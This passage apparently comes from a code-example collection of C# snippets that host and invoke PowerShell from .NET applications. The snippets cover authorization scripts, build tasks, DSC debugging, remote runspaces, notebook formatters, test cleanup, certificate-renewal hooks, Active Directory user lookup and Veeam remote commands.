                    res.IsLocalAdminPasswordHistoryAllowed = Convert.ToBoolean(result.Properties[nameof(res.IsLocalAdminPasswordHistoryAllowed)]?.Value ?? false);
                    res.IsLocalAdminPasswordHistoryDenied  = Convert.ToBoolean(result.Properties[nameof(res.IsLocalAdminPasswordHistoryDenied)]?.Value ?? false);
                    res.IsJitAllowed       = Convert.ToBoolean(result.Properties[nameof(res.IsJitAllowed)]?.Value ?? false);
                    res.IsJitDenied        = Convert.ToBoolean(result.Properties[nameof(res.IsJitDenied)]?.Value ?? false);
                    res.IsBitLockerAllowed = Convert.ToBoolean(result.Properties[nameof(res.IsBitLockerAllowed)]?.Value ?? false);
                    res.IsBitLockerDenied  = Convert.ToBoolean(result.Properties[nameof(res.IsBitLockerDenied)]?.Value ?? false);
                    return(res);
                }

                return(null);
            });

            task.Start();
            if (!task.Wait(TimeSpan.FromSeconds(timeout)))
            {
                throw new TimeoutException("The PowerShell script did not complete within the configured time");
            }

            if (task.IsFaulted)
            {
                if (task.Exception != null)
                {
                    throw task.Exception;
                }
                throw new AccessManagerException("The task failed");
            }

            if (task.Result != null)
            {
                this.logger.LogTrace($"PowerShell script returned the following AuthorizationResponse: {JsonConvert.SerializeObject(task.Result)}");
                return(task.Result);
            }

            this.logger.LogWarning(EventIDs.PowerShellSDGeneratorInvalidResponse, $"The PowerShell script did not return an AuthorizationResponse");

            return(new PowerShellAuthorizationResponse());
        }
Exemplo n.º 20
0
 public void No_Arguments()
 {
     // Execute cmdlet
     _ps.AddCommand(CmdletName);
     Assert.Throws <ParameterBindingException>(() => _ps.Invoke());
 }
    public override bool Execute()
    {
        bool isSuccess = false;

        try
        {
            _ps = PowerShell.Create();

            _ps
            .AddCommand("Set-ExecutionPolicy")
            .AddArgument("Unrestricted")
            .AddParameter("Scope", "CurrentUser");

            _ps
            .AddStatement()
            .AddCommand(EntryPs1)
            .AddParameter("srcDirectory", TrimEndingDirectorySeparator(SolutionRoot))
            .AddParameter("sdkPath", TrimEndingDirectorySeparator(SdkInstallPath))
            .AddParameter("gamePath", TrimEndingDirectorySeparator(GameInstallPath));

            foreach (ITaskItem Arg in AdditionalArgs)
            {
                string Val = Arg.GetMetadata("Value");
                if (string.IsNullOrEmpty(Val))
                {
                    _ps.AddParameter(Arg.ItemSpec);
                }
                else
                {
                    _ps.AddParameter(Arg.ItemSpec, Val);
                }
            }

            BindStreamEntryCallback(_ps.Streams.Debug, record => LogOutput(record.ToString()));
            BindStreamEntryCallback(_ps.Streams.Information, record => LogOutput(record.ToString()));
            BindStreamEntryCallback(_ps.Streams.Verbose, record => LogOutput(record.ToString()));
            BindStreamEntryCallback(_ps.Streams.Warning, record => LogOutput(record.ToString())); // TODO: More flashy output?

            BindStreamEntryCallback(_ps.Streams.Error, record =>
            {
                // TODO: Less info than when from console
                // TODO: More flashy output?
                LogOutput(record.ToString());
                Log.LogError(record.ToString());
                isSuccess = false;
            });

            _ps.InvocationStateChanged += (sender, args) =>
            {
                if (args.InvocationStateInfo.State == PSInvocationState.Running)
                {
                    _startingMre.Set();
                }
            };

            isSuccess = true;
            _ps.Invoke();
        }
        catch (System.Exception e)
        {
            Log.LogError(e.Message);
            isSuccess = false;
        }

        return(isSuccess);
    }
Exemplo n.º 22
0
 internal PowerShell Add(PowerShell shell)
 {
     return(IsScript ? shell.AddScript(Command) : shell.AddCommand(Command));
 }
Exemplo n.º 23
0
        public static DscBreakpointCapability CheckForCapability(
            RunspaceDetails runspaceDetails,
            PowerShellContext powerShellContext,
            ILogger logger)
        {
            DscBreakpointCapability capability = null;

            // DSC support is enabled only for Windows PowerShell.
            if ((runspaceDetails.PowerShellVersion.Version.Major < 6) &&
                (runspaceDetails.Context != RunspaceContext.DebuggedRunspace))
            {
                using (PowerShell powerShell = PowerShell.Create())
                {
                    powerShell.Runspace = runspaceDetails.Runspace;

                    // Attempt to import the updated DSC module
                    powerShell.AddCommand("Import-Module");
                    powerShell.AddArgument(@"C:\Program Files\DesiredStateConfiguration\1.0.0.0\Modules\PSDesiredStateConfiguration\PSDesiredStateConfiguration.psd1");
                    powerShell.AddParameter("PassThru");
                    powerShell.AddParameter("ErrorAction", "Ignore");

                    PSObject moduleInfo = null;

                    try
                    {
                        moduleInfo = powerShell.Invoke().FirstOrDefault();
                    }
                    catch (RuntimeException e)
                    {
                        logger.WriteException("Could not load the DSC module!", e);
                    }

                    if (moduleInfo != null)
                    {
                        logger.Write(LogLevel.Verbose, "Side-by-side DSC module found, gathering DSC resource paths...");

                        // The module was loaded, add the breakpoint capability
                        capability = new DscBreakpointCapability();
                        runspaceDetails.AddCapability(capability);

                        powerShell.Commands.Clear();
                        powerShell.AddScript("Write-Host \"Gathering DSC resource paths, this may take a while...\"");
                        powerShell.Invoke();

                        // Get the list of DSC resource paths
                        powerShell.Commands.Clear();
                        powerShell.AddCommand("Get-DscResource");
                        powerShell.AddCommand("Select-Object");
                        powerShell.AddParameter("ExpandProperty", "ParentPath");

                        Collection <PSObject> resourcePaths = null;

                        try
                        {
                            resourcePaths = powerShell.Invoke();
                        }
                        catch (CmdletInvocationException e)
                        {
                            logger.WriteException("Get-DscResource failed!", e);
                        }

                        if (resourcePaths != null)
                        {
                            capability.dscResourceRootPaths =
                                resourcePaths
                                .Select(o => (string)o.BaseObject)
                                .ToArray();

                            logger.Write(LogLevel.Verbose, $"DSC resources found: {resourcePaths.Count}");
                        }
                        else
                        {
                            logger.Write(LogLevel.Verbose, $"No DSC resources found.");
                        }
                    }
                    else
                    {
                        logger.Write(LogLevel.Verbose, $"Side-by-side DSC module was not found.");
                    }
                }
            }

            return(capability);
        }
Exemplo n.º 24
0
        /// <summary>
        /// Process debugger command.
        /// </summary>
        /// <param name="command">Debugger PSCommand</param>
        /// <param name="output">Output</param>
        /// <returns>DebuggerCommandResults</returns>
        public override DebuggerCommandResults ProcessCommand(PSCommand command, PSDataCollection<PSObject> output)
        {
            CheckForValidateState();
            _detachCommand = false;

            if (command == null)
            {
                throw new PSArgumentNullException("command");
            }

            if (output == null)
            {
                throw new PSArgumentNullException("output");
            }

            if (!DebuggerStopped)
            {
                throw new PSInvalidOperationException(
                    DebuggerStrings.CannotProcessDebuggerCommandNotStopped,
                    null,
                    Debugger.CannotProcessCommandNotStopped,
                    ErrorCategory.InvalidOperation,
                    null);
            }

            DebuggerCommandResults results = null;

            // Execute command on server.
            bool executionError = false;
            using (_psDebuggerCommand = GetNestedPowerShell())
            {
                foreach (var cmd in command.Commands)
                {
                    cmd.MergeMyResults(PipelineResultTypes.All, PipelineResultTypes.Output);
                    _psDebuggerCommand.AddCommand(cmd);
                }

                PSDataCollection<PSObject> internalOutput = new PSDataCollection<PSObject>();
                internalOutput.DataAdded += (sender, args) =>
                    {
                        foreach (var item in internalOutput.ReadAll())
                        {
                            if (item == null) { return; }

                            DebuggerCommand dbgCmd = item.BaseObject as DebuggerCommand;
                            if (dbgCmd != null)
                            {
                                bool executedByDebugger = (dbgCmd.ResumeAction != null || dbgCmd.ExecutedByDebugger);
                                results = new DebuggerCommandResults(dbgCmd.ResumeAction, executedByDebugger);
                            }
                            else if (item.BaseObject is DebuggerCommandResults)
                            {
                                results = item.BaseObject as DebuggerCommandResults;
                            }
                            else
                            {
                                output.Add(item);
                            }
                        }
                    };

                try
                {
                    _psDebuggerCommand.Invoke(null, internalOutput, null);
                }
                catch (Exception e)
                {
                    CommandProcessor.CheckForSevereException(e);

                    executionError = true;
                    RemoteException re = e as RemoteException;
                    if ((re != null) && (re.ErrorRecord != null))
                    {
                        // Allow the IncompleteParseException to throw so that the console
                        // can handle here strings and continued parsing.
                        if (re.ErrorRecord.CategoryInfo.Reason == typeof(IncompleteParseException).Name)
                        {
                            throw new IncompleteParseException(
                                (re.ErrorRecord.Exception != null) ? re.ErrorRecord.Exception.Message : null,
                                re.ErrorRecord.FullyQualifiedErrorId);
                        }

                        // Allow the RemoteException and InvalidRunspacePoolStateException to propagate so that the host can
                        // clean up the debug session.
                        if ((re.ErrorRecord.CategoryInfo.Reason == typeof(InvalidRunspacePoolStateException).Name) ||
                            (re.ErrorRecord.CategoryInfo.Reason == typeof(RemoteException).Name))
                        {
                            throw new PSRemotingTransportException(
                                (re.ErrorRecord.Exception != null) ? re.ErrorRecord.Exception.Message : string.Empty);
                        }
                    }

                    // Allow all PSRemotingTransportException and RemoteException errors to propagate as this
                    // indicates a broken debug session.
                    if ((e is PSRemotingTransportException) || (e is RemoteException))
                    {
                        throw;
                    }

                    output.Add(
                        new PSObject(
                            new ErrorRecord(
                            e,
                            "DebuggerError",
                            ErrorCategory.InvalidOperation,
                            null)));
                }
            }

            executionError = executionError || _psDebuggerCommand.HadErrors;
            _psDebuggerCommand = null;

            // Special processing when the detach command is run.
            _detachCommand = (!executionError) && (command.Commands.Count > 0) && (command.Commands[0].CommandText.Equals("Detach", StringComparison.OrdinalIgnoreCase));

            return results ?? new DebuggerCommandResults(null, false);
        }
Exemplo n.º 25
0
        /// <summary>
        /// Override inside a safe lock.
        /// </summary>
        /// <param name="remoteRunspace">Runspace to override.</param>
        /// <param name="syncObject">Object to use in synchronization.</param>
        /// <param name="isRunspacePushed">Set is runspace pushed.</param>
        internal void Override(RemoteRunspace remoteRunspace, object syncObject, out bool isRunspacePushed)
        {
            lock (_localSyncObject)
            {
                _stopInvoke = false;
            }

            try
            {
                if (syncObject != null)
                {
                    lock (syncObject)
                    {
                        _runspaceRef.Override(remoteRunspace);
                        isRunspacePushed = true;
                    }
                }
                else
                {
                    _runspaceRef.Override(remoteRunspace);
                    isRunspacePushed = true;
                }

                if ((remoteRunspace.GetCurrentlyRunningPipeline() != null))
                {
                    // Don't execute command if pushed runspace is already running one.
                    return;
                }

                using (PowerShell powerShell = PowerShell.Create())
                {
                    powerShell.AddCommand("Get-Command");
                    powerShell.AddParameter("Name", new string[] { "Out-Default", "Exit-PSSession" });
                    powerShell.Runspace = _runspaceRef.Value;

                    bool isReleaseCandidateBackcompatibilityMode =
                        _runspaceRef.Value.GetRemoteProtocolVersion() == RemotingConstants.ProtocolVersionWin7RC;
                    powerShell.IsGetCommandMetadataSpecialPipeline = !isReleaseCandidateBackcompatibilityMode;
                    int expectedNumberOfResults = isReleaseCandidateBackcompatibilityMode ? 2 : 3;

                    powerShell.RemotePowerShell.HostCallReceived += new EventHandler <RemoteDataEventArgs <RemoteHostCall> >(HandleHostCall);

                    IAsyncResult asyncResult            = powerShell.BeginInvoke();
                    PSDataCollection <PSObject> results = new PSDataCollection <PSObject>();

                    while (!_stopInvoke)
                    {
                        asyncResult.AsyncWaitHandle.WaitOne(1000);

                        if (asyncResult.IsCompleted)
                        {
                            results = powerShell.EndInvoke(asyncResult);
                            break;
                        }
                    }

                    if (powerShell.Streams.Error.Count > 0 || results.Count < expectedNumberOfResults)
                    {
                        throw RemoteHostExceptions.NewRemoteRunspaceDoesNotSupportPushRunspaceException();
                    }
                }
            }
            catch (Exception)
            {
                _runspaceRef.Revert();
                isRunspacePushed = false;
                throw;
            }
        }
Exemplo n.º 26
0
        private static void SetupRecordFormatters()
        {
            // DebugRecord
            Formatter <DebugRecord> .Register((record, writer) => {
                PocketView view = pre($"DEBUG: {record.Message}");
                writer.WriteLine(view.ToDisplayString(HtmlFormatter.MimeType));
            }, HtmlFormatter.MimeType);

            Formatter <DebugRecord> .Register((record, writer) => {
                writer.WriteLine($"DEBUG: {record.Message}");
            }, PlainTextFormatter.MimeType);

            // ErrorRecord
            Formatter <ErrorRecord> .Register((record, writer) => {
                string result = null;
                lock (_pwshLock)
                {
                    var errorDetails = _pwsh.AddCommand("Microsoft.PowerShell.Utility\\Out-String")
                                       .AddParameter("InputObject", record)
                                       .InvokeAndClearCommands <string>();
                    result = errorDetails.Single();
                }

                if (result != null)
                {
                    PocketView view = pre(result.Trim());
                    writer.WriteLine(view.ToDisplayString(HtmlFormatter.MimeType));
                }
            }, HtmlFormatter.MimeType);

            Formatter <ErrorRecord> .Register((record, writer) => {
                string result = null;
                lock (_pwshLock)
                {
                    var errorDetails = _pwsh.AddCommand("Microsoft.PowerShell.Utility\\Out-String")
                                       .AddParameter("InputObject", record)
                                       .InvokeAndClearCommands <string>();
                    result = errorDetails.Single();
                }

                if (result != null)
                {
                    writer.WriteLine(result.Trim());
                }
            }, PlainTextFormatter.MimeType);

            // InformationRecord
            Formatter <InformationRecord> .Register((record, writer) => {
                string prefix = (record.Tags.Count == 1 &&
                                 (record.Tags[0] == "__PipelineObject__" || record.Tags[0] == "PSHOST")) ? "" : "INFORMATION: ";
                PocketView view = pre($"{prefix}{record.MessageData}");
                writer.WriteLine(view.ToDisplayString(HtmlFormatter.MimeType));
            }, HtmlFormatter.MimeType);

            Formatter <InformationRecord> .Register((record, writer) => {
                string prefix = (record.Tags.Count == 1 &&
                                 (record.Tags[0] == "__PipelineObject__" || record.Tags[0] == "PSHOST")) ? "" : "INFORMATION: ";
                writer.WriteLine($"{prefix}{record.MessageData}");
            }, PlainTextFormatter.MimeType);

            // ProgressRecord
            Formatter <ProgressRecord> .Register((record, writer) => {
                PocketView view = pre($"PROGRESS: {record.StatusDescription}");
                writer.WriteLine(view.ToDisplayString(HtmlFormatter.MimeType));
            }, HtmlFormatter.MimeType);

            Formatter <ProgressRecord> .Register((record, writer) => {
                writer.WriteLine($"PROGRESS: {record.StatusDescription}");
            }, PlainTextFormatter.MimeType);

            // VerboseRecord
            Formatter <VerboseRecord> .Register((record, writer) => {
                PocketView view = pre($"VERBOSE: {record.Message}");
                writer.WriteLine(view.ToDisplayString(HtmlFormatter.MimeType));
            }, HtmlFormatter.MimeType);

            Formatter <VerboseRecord> .Register((record, writer) => {
                writer.WriteLine($"VERBOSE: {record.Message}");
            }, PlainTextFormatter.MimeType);

            // WarningRecord
            Formatter <WarningRecord> .Register((record, writer) => {
                PocketView view = pre($"WARNING: {record.Message}");
                writer.WriteLine(view.ToDisplayString(HtmlFormatter.MimeType));
            }, HtmlFormatter.MimeType);

            Formatter <WarningRecord> .Register((record, writer) => {
                writer.WriteLine($"WARNING: {record.Message}");
            }, PlainTextFormatter.MimeType);
        }
Exemplo n.º 27
0
        public void LaunchCleanup(string connectionString)
        {
            TimeSpan timeout = new TimeSpan(0, 10, 0); // max run time

            string cleanUpScript     = string.Empty;
            string cleanUpScriptPath = string.Empty;
            string commandText       = string.Empty;
            string scriptName        = "CleanUpAfterTests.ps1";

            string rootPath  = UpNLevels(Environment.CurrentDirectory, 4);
            string sqlScript = Path.Combine(rootPath, "_PowerShellScripts", scriptName);

            if (File.Exists(sqlScript))
            {
                commandText = File.ReadAllText(sqlScript);
            }
            else
            {
                //Check alternative location (for HM deployed as a Web Job)
                rootPath  = Environment.CurrentDirectory;
                sqlScript = Path.Combine(rootPath, scriptName);
                if (File.Exists(sqlScript))
                {
                    commandText = File.ReadAllText(sqlScript);
                }
                else
                {
                    throw new FileNotFoundException($"The PowerShell script is not found in this location: {sqlScript}");
                }
            }

            Console.WriteLine("Running clean-up script...");
            using (PowerShell ps = PowerShell.Create())
            {
                // the streams (Error, Debug, Progress, etc) are available on the PowerShell instance.
                // we can review them during or after execution.
                // we can also be notified when a new item is written to the stream (like this):
                ps.Streams.Error.DataAdded += error_DataAdded;
                ps.Streams.Debug.DataAdded += debug_DataAdded;

                ps.AddCommand("Set-ExecutionPolicy").AddParameter("ExecutionPolicy", "RemoteSigned").AddParameter("Scope", "Process").Invoke();

                Pipeline pipeLine     = ps.Runspace.CreatePipeline();
                Command  cleanCommand = new Command(cleanUpScript, true);
                cleanCommand.Parameters.Add("connectionString", connectionString);
                cleanCommand.Parameters.Add("dbName", "");
                pipeLine.Commands.Add(cleanCommand);
                pipeLine.Commands.Add("Out-String");

                DateTime startTime = DateTime.UtcNow;
                pipeLine.InvokeAsync();
                while (pipeLine.PipelineStateInfo.State == PipelineState.Running || pipeLine.PipelineStateInfo.State == PipelineState.Stopping)
                {
                    if (startTime + timeout < DateTime.UtcNow)
                    {
                        //Timeout condition
                        Console.WriteLine("Operation timeout, exiting");
                        break;
                    }
                    Thread.Sleep(500);
                }

                var output = pipeLine.Output.ReadToEnd();

                foreach (PSObject outputItem in output)
                {
                    Console.WriteLine(outputItem.BaseObject?.ToString());
                }

                if (pipeLine.PipelineStateInfo.State == PipelineState.Failed)
                {
                    Console.WriteLine("Execution completed with error. Reason: " + pipeLine.PipelineStateInfo.Reason.Message);
                }
                else
                {
                    Console.WriteLine("Execution has finished. The pipeline state: " + pipeLine.PipelineStateInfo.State);
                }
            }
        }
Exemplo n.º 28
0
        private static ActionResult InvokePowershell(CertificateRequestResult result, string executionPolicy, string scriptFile, Dictionary <string, object> parameters, string scriptContent, PowerShell shell)
        {
            // ensure execution policy will allow the script to run, default to "Unrestricted", set in service config as "Default" to skip.

            if (executionPolicy != "Default")
            {
                shell.AddCommand("Set-ExecutionPolicy")
                .AddParameter("ExecutionPolicy", executionPolicy)
                .AddParameter("Scope", "Process")
                .AddParameter("Force")
                .Invoke();
            }

            // add script command to invoke
            if (scriptFile != null)
            {
                shell.AddCommand(scriptFile);
            }
            else
            {
                shell.AddScript(scriptContent);
            }

            // pass the result to the script if present
            if (result != null)
            {
                shell.AddParameter("result", result);
            }

            // pass parameters to script if present
            if (parameters != null)
            {
                foreach (var a in parameters)
                {
                    shell.AddParameter(a.Key, a.Value);
                }
            }


            var errors = new List <string>();

            // accumulate output
            var output = new StringBuilder();

            // capture errors
            shell.Streams.Error.DataAdded += (sender, args) =>
            {
                var error = shell.Streams.Error[args.Index];
                var src   = error.InvocationInfo.MyCommand?.ToString() ?? error.InvocationInfo.InvocationName;
                var msg   = $"{src}: {error}\n{error.InvocationInfo.PositionMessage}";
                output.AppendLine(msg);

                errors.Add(msg);
            };

            // capture write-* methods (except write-host)
            shell.Streams.Warning.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Warning[args.Index].Message);
            shell.Streams.Debug.DataAdded   += (sender, args) => output.AppendLine(shell.Streams.Debug[args.Index].Message);
            shell.Streams.Verbose.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Verbose[args.Index].Message);

            var outputData = new PSDataCollection <PSObject>();

            outputData.DataAdded += (sender, args) =>
            {
                // capture all main output
                var data = outputData[args.Index]?.BaseObject;
                if (data != null)
                {
                    output.AppendLine(data.ToString());
                }
            };


            try
            {
                var async = shell.BeginInvoke <PSObject, PSObject>(null, outputData);
                shell.EndInvoke(async);

                return(new ActionResult(output.ToString().TrimEnd('\n'), !errors.Any()));
            }
            catch (ParseException ex)
            {
                // this should only happen in case of script syntax errors, otherwise
                // errors would be output via the invoke's error stream
                output.AppendLine($"{ex.Message}");

                return(new ActionResult(output.ToString().TrimEnd('\n'), false));
            }
        }
Exemplo n.º 29
0
		/// <summary>
		///     A helper class that builds and executes a pipeline that writes
		///     to the default output path. Any exceptions that are thrown are
		///     just passed to the caller. Since all output goes to the default
		///     outter, this method does not return anything.
		/// </summary>
		/// <param name="cmd">The script to run.</param>
		/// <param name="input">
		///     Any input arguments to pass to the script.
		///     If null then nothing is passed in.
		/// </param>
		private void ExecuteHelper(string cmd, object input)
		{
			// Ignore empty command lines.
			if (String.IsNullOrEmpty(cmd))
			{
				return;
			}

			// Create the pipeline object and make it available to the
			// ctrl-C handle through the currentPowerShell instance
			// variable.
			lock (_instanceLock)
			{
				_currentPowerShell = PowerShell.Create();
			}

			// Add a script and command to the pipeline and then run the pipeline. Place 
			// the results in the currentPowerShell variable so that the pipeline can be 
			// stopped.
			try
			{
				_currentPowerShell.Runspace = _runspace;

				_currentPowerShell.AddScript(cmd);

				// Add the default outputter to the end of the pipe and then call the 
				// MergeMyResults method to merge the output and error streams from the 
				// pipeline. This will result in the output being written using the PSHost
				// and PSHostUserInterface classes instead of returning objects to the host
				// application.
				_currentPowerShell.AddCommand("out-default");
				_currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);

				// If there is any input pass it in, otherwise just invoke the
				// the pipeline.
				if (input != null)
				{
					_currentPowerShell.Invoke(new[] {input});
				}
				else
				{
					_currentPowerShell.Invoke();
				}
			}
			finally
			{
				// Dispose the PowerShell object and set currentPowerShell to null. 
				// It is locked because currentPowerShell may be accessed by the 
				// ctrl-C handler.
				lock (_instanceLock)
				{
					_currentPowerShell.Dispose();
					_currentPowerShell = null;
				}
			}
		}
Exemplo n.º 30
0
        public ADUserModel GetADUserDriver(string emplid)
        {
            string searchName                      = "";
            string searchCity                      = "";
            string searchCountry                   = "";
            string searchDepartment                = "";
            string searchDescription               = "";
            string searchDisplayName               = "";
            string searchEmployeeID                = "";
            string searchGivenName                 = "";
            string searchOfficePhone               = "";
            string searchInitials                  = "";
            string searchOffice                    = "";
            string searchSamAccountName            = "";
            string searchState                     = "";
            string searchStreetAddress             = "";
            string searchSurname                   = "";
            string searchTitle                     = "";
            string searchObjectClass               = "";
            string searchUserPrincipalName         = "";
            string searchPath                      = "";
            string searchPostalCode                = "";
            string searchType                      = "";
            string searchIPPhone                   = "";
            string searchMSExchHideFromAddressList = "";
            string searchChangePasswordAtLogon     = "";

            string searchEnabled = "";

            try
            {
                using (PowerShell ps = PowerShell.Create())
                {
                    ps.AddCommand("get-aduser");
                    ps.AddParameter("Filter", "Name -eq " + emplid);
                    ps.AddParameter("Properties", "*");
                    Collection <PSObject> names = ps.Invoke();
                    PSObject ob = names.FirstOrDefault();
                    if (ob != null)
                    {
                        if (ob.Properties["samaccountname"].Value != null)
                        {
                            searchName = ob.Properties["samaccountname"].Value.ToString();
                        }
                        if (ob.Properties["City"].Value != null)
                        {
                            searchCity = ob.Properties["City"].Value.ToString();
                        }
                        if (ob.Properties["Country"].Value != null)
                        {
                            searchCountry = ob.Properties["Country"].Value.ToString();
                        }
                        if (ob.Properties["Department"].Value != null)
                        {
                            searchDepartment = ob.Properties["Department"].Value.ToString();
                        }
                        if (ob.Properties["Description"].Value != null)
                        {
                            searchDescription = ob.Properties["Description"].Value.ToString();
                        }
                        if (ob.Properties["DisplayName"].Value != null)
                        {
                            searchDisplayName = ob.Properties["DisplayName"].Value.ToString();
                        }
                        if (ob.Properties["EmployeeID"].Value != null)
                        {
                            searchEmployeeID = ob.Properties["EmployeeID"].Value.ToString();
                        }
                        if (ob.Properties["GivenName"].Value != null)
                        {
                            searchGivenName = ob.Properties["GivenName"].Value.ToString();
                        }
                        if (ob.Properties["OfficePhone"].Value != null)
                        {
                            searchOfficePhone = ob.Properties["OfficePhone"].Value.ToString();
                        }
                        if (ob.Properties["Initials"].Value != null)
                        {
                            searchInitials = ob.Properties["Initials"].Value.ToString();
                        }
                        if (ob.Properties["Office"].Value != null)
                        {
                            searchOffice = ob.Properties["Office"].Value.ToString();
                        }
                        if (ob.Properties["SamAccountName"].Value != null)
                        {
                            searchSamAccountName = ob.Properties["SamAccountName"].Value.ToString();
                        }
                        if (ob.Properties["State"].Value != null)
                        {
                            searchState = ob.Properties["State"].Value.ToString();
                        }
                        if (ob.Properties["StreetAddress"].Value != null)
                        {
                            searchStreetAddress = ob.Properties["StreetAddress"].Value.ToString();
                        }
                        if (ob.Properties["Surname"].Value != null)
                        {
                            searchSurname = ob.Properties["Surname"].Value.ToString();
                        }
                        if (ob.Properties["Title"].Value != null)
                        {
                            searchTitle = ob.Properties["Title"].Value.ToString();
                        }
                        if (ob.Properties["ObjectClass"].Value != null)
                        {
                            searchObjectClass = ob.Properties["ObjectClass"].Value.ToString();
                        }
                        if (ob.Properties["UserPrincipalName"].Value != null)
                        {
                            searchUserPrincipalName = ob.Properties["UserPrincipalName"].Value.ToString();
                        }
                        if (ob.Properties["Path"].Value != null)
                        {
                            searchPath = ob.Properties["Path"].Value.ToString();
                        }
                        if (ob.Properties["PostalCode"].Value != null)
                        {
                            searchPostalCode = ob.Properties["PostalCode"].Value.ToString();
                        }

                        if (ob.Properties["enabled"].Value != null)
                        {
                            searchEnabled = ob.Properties["enabled"].Value.ToString();
                        }
                        //The following lines contain a field that has not yet been implemented

                        /*if (ob.Properties["ipphone"].Value != null)
                         *  searchIPPhone = ob.Properties["ipphone"].Value.ToString();*/

                        ADUserModel toReturn = new ADUserModel(searchCity, searchName, searchDepartment,
                                                               searchDescription, searchDisplayName, searchEmployeeID, searchGivenName, searchOfficePhone,
                                                               searchInitials, searchOffice, searchPostalCode, searchSamAccountName, searchState,
                                                               searchStreetAddress, searchSurname, searchTitle, searchUserPrincipalName, searchPath, searchIPPhone,
                                                               searchMSExchHideFromAddressList, searchChangePasswordAtLogon, searchEnabled, searchType, "");
                        return(toReturn);
                    }
                    else
                    {
                        return(null);
                    }
                }
            }
            catch (Exception e)
            {
                return(null);
            }
        }
Exemplo n.º 31
0
        public VeeamTransportMessage runCommand(string vbrHostIp, string command)
        {
            // Get Connection information of specified VBR
            VeeamPSProxiesCollection proxys = configs.veeamPsProxies;
            string vbrHost     = "";
            string vbrUsername = "";
            string vbrPassword = "";

            int notFoundCount = 0;

            for (int i = 0; i < proxys.Count; i++)
            {
                var proxy = proxys[i];
                if (proxy.hostNameOrIp.Equals(vbrHostIp))
                {
                    vbrHost     = (String)proxy.hostNameOrIp;
                    vbrUsername = (String)proxy.username;
                    vbrPassword = (String)proxy.password;
                    break;
                }
                notFoundCount++;
            }
            if (notFoundCount == proxys.Count)
            {
                return(new VeeamTransportMessage
                {
                    status = "Error",
                    message = "Unknown Veeam VBR Server HostName or IP"
                });
            }

            PowerShell psInstance = PowerShell.Create();
            var        pass       = new SecureString();

            Array.ForEach(vbrPassword.ToCharArray(), pass.AppendChar);
            var vbrCreds = new PSCredential(vbrUsername, pass);

            psInstance.AddCommand("Set-Variable");
            psInstance.AddParameter("Name", "cred");
            psInstance.AddParameter("Value", vbrCreds);

            // Run commands in their own runspaces so each request is unique and isloated.
            Runspace rs = RunspaceFactory.CreateRunspace();

            rs.Open();
            psInstance.Runspace = rs;

            VeeamTransportMessage response = new VeeamTransportMessage();

            logger.Info("Invoking powershell command to remote Veeam VBR");
            var remoteCommand = "Invoke-Command -ComputerName " + vbrHost + " -ScriptBlock {Add-PSSnapin VeeamPSSnapin; " + command + "} -credential $cred";

            psInstance.AddScript(remoteCommand);
            Collection <PSObject> taskOutput = psInstance.Invoke();

            // If errors present construct error message and return it
            if (psInstance.Streams.Error.Count > 0)
            {
                var sb = new StringBuilder();
                foreach (var error in psInstance.Streams.Error)
                {
                    sb.Append(error.ToString());
                }
                psInstance.Streams.Error.Clear();

                // Construct response message
                String message = sb.ToString();
                response.status  = "Error";
                response.message = message;

                return(response);
            }

            response.status  = "Success";
            response.message = taskOutput;

            rs.Close();

            return(response);
        }
Exemplo n.º 32
0
        /// <summary>
        /// New job.
        /// </summary>
        /// <remarks>
        /// Keep seconds for UI-less jobs: 0 ~ hidden mode, in this case a job creates UI on errors, as it is not attended.
        /// Other UI-less jobs are completely owned creators.
        /// </remarks>
        internal Job(JobCommand command, object parameters, string name, bool ui, int keepSeconds)
        {
            JobCommand = command;
            Parameters = parameters;
            Name = name;
            KeepSeconds = keepSeconds;

            // create/open runspace
            //! *) Do not catch, if we fail, we fail and there is nothing to repair yet (not open)
            //! *) Use existing configuration, it is faster! Most of *-Far* cmdlets should not be used,
            //! but some of them can be used, e.g. Update-FarDescription; also we want to use ETS types,
            //! e.g. FarDescription property.
            if (ui)
            {
                JobUI = new JobUI();
                Runspace = RunspaceFactory.CreateRunspace(new FarHost(JobUI), Runspace.DefaultRunspace.InitialSessionState);
            }
            else
            {
                //! DefaultHost is created internally. Perhaps it is reasonable to live with it, not with a custom host.
                Runspace = RunspaceFactory.CreateRunspace(Runspace.DefaultRunspace.InitialSessionState);
            }
            Runspace.Open();

            // new shell with the command
            PowerShell = PowerShell.Create();
            PowerShell.Runspace = Runspace;
            JobCommand.Add(PowerShell);

            // add command parameters
            if (parameters != null)
            {
                IDictionary namedParameters = parameters as IDictionary;
                IList argumentList;
                if (namedParameters != null)
                    PowerShell.AddParameters(namedParameters);
                else if ((argumentList = parameters as IList) != null)
                    PowerShell.AddParameters(argumentList);
                else
                    PowerShell.AddParameters(new object[] { parameters });
            }

            // UI: Write all output, including errors.
            if (JobUI != null)
            {
                PowerShell.Commands.AddCommand(A.OutHostCommand);
            }
            // Hidden: Write output to "Out-Null" to avoid memory use.
            else if (keepSeconds <= 0)
            {
                //! User can use his Out-Null
                PowerShell.AddCommand("Out-Null");
            }
            // Output: create it once: it is cumulative
            else
            {
                Output = new PSDataCollection<PSObject>();
            }
        }
        public ExecutionResult Execute(string script)
        {
            ExecutionResult runscriptresult = new ExecutionResult(script);

            using (PowerShell ps = PowerShell.Create())
                using (Runspace rs = RunspaceFactory.CreateRunspace(new TestEnvironmentHost(CommunicationAdapter, runscriptresult.AddHostOutput)))
                {
                    rs.Open();

                    // Übertragen bestehender Variablen und deren Werte
                    Variables?.Keys.ToList().ForEach(variablename =>
                    {
                        rs.SessionStateProxy.SetVariable(variablename, Variables[variablename]);
                    });

                    rs.StateChanged += delegate(object sender, RunspaceStateEventArgs args)
                    {
                    };

                    if (AutoInspectVariables)
                    {
                        var pattern = $@"\$\b(?<item>\w+)\b";

                        Regex regex = new Regex(pattern);

                        var matches = regex.Matches(script);

                        if (matches.Count > 0)
                        {
                            if (Variables == null)
                            {
                                Variables = new Dictionary <string, object>();
                            }

                            foreach (Match m in matches)
                            {
                                string key = m.Value.Substring(1);
                                if (!Variables.ContainsKey(key))
                                {
                                    Variables.Add(key, null);
                                }
                            }
                        }
                    }

                    // Modifizierte Ausführungsumgebung hinzufügen
                    ps.Runspace = rs;

                    // Hinzufügen der zusätzlichen Assemblies
                    Assemblies?.ForEach(assembly =>
                    {
                        ps.AddCommand("Import-Module")
                        .AddArgument(new Uri(assembly.CodeBase).LocalPath);
                    });

